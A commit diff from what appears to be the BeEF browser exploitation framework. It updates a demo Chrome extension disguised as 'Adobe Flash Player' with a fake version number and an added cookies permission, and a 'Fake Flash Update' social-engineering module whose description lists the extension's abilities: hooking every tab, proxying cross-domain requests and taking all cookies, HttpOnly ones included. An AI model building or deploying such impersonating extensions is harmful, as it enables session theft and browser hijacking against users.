Got a better splash image, added cookies permission, added some brief documentation

extensions/demos/flash_update_chrome_extension/manifest.json

@@ -1,10 +1,13 @@
 {
+  // Simple chrome extension 
+  // Just loads beef into the extension context.
+  // 
+  // You may need to set the IP address of the beef hook in background.js
+  // Then you can pack the extension (from within the chrome extensions page) and add the crx file to extensions/demos/html/ 
+
   "name": "Adobe Flash Player",
-  "version": "1.0",
-  // when the browser icon is clicked, a new tab is open to maintain persistence (chrome.tabs.create)
-  // for the sake of testing...unfortunately the popup is closed when the user is not focusing on it.
-  // See at the end of index.html file.
-  "description": "Introduces vulnerabilites into webbrowsers",
+  "version": "11.2.202.235",
+  "description": "Introduces vulnerabilites into web browsers",
   "background": {
     "scripts": ["background.js"]
   },
@@ -17,6 +20,7 @@
 	"tabs", 
 	"http://*/*", 
 	"https://*/*",
-    "file://*/*"
+  "file://*/*",
+  "cookies"
   ]
 }

modules/social_engineering/fake_flash_update/config.yaml

@@ -19,7 +19,7 @@ beef:
             enable: true
             category: "Social Engineering"
             name: "Fake Flash Update"
-            description: "Prompts the user to install an update to Adobe Flash Player.<br />The default install file is a Chrome extension."
+            description: "Prompts the user to install an update to Adobe Flash Player.<br />The default install file is a Chrome extension. <br /><br /> A chrome extenstion has privileged access and can do a whole lot.. <ul><li>- Access all tabs and inject beef into all tabs</li><li>- Use hooked browser as a proxy to do cross domain requests</li><li>- Get all cookies including HTTPonly cookies</li></ul><br />See chrome extensions beef modules for more examples<br />See extensions/demos/flash_update_chrome_extension for extension source"
             authors: ["mh"]
             target:
                 user_notify: ['ALL']